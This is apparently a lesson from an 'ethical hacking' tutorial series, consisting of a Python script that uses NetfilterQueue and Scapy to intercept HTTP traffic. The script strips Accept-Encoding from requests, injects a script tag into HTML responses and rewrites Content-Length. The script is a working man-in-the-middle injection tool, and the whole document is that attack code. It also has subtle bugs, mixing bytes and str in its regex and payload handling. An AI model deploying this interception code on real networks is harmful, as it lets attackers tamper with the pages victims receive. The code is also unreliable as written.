Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER（3）

Recalculating Content-Length:

#!/usr/bin/env python
import re

from netfilterqueue import NetfilterQueue
from scapy.layers.inet import TCP, IP
from scapy.packet import Raw

def set_load(packet, load):
    packet[Raw].load = load
    del packet[IP].len
    del packet[IP].chksum
    del packet[TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    # scapy_packet.show()
    if scapy_packet.haslayer(Raw):
        load = scapy_packet[Raw].load
        if scapy_packet[TCP].dport == 80:
            print("[+] Request")
            load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)
        elif scapy_packet[TCP].sport == 80:
            print("[+] Response")
            injection_code = b"<script>alert('test');</script>"
            load = load.replace(b"</body>", injection_code + b"</body>")
            content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
            if content_length_search and "text/html" in load:
                content_length = content_length_search.group(1)
                new_content_length = int(content_length) + len(injection_code)
                load = load.replace(content_length, str(new_content_length))

        if load != scapy_packet[Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(str(new_packet).encode())

    packet.accept()

queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print('')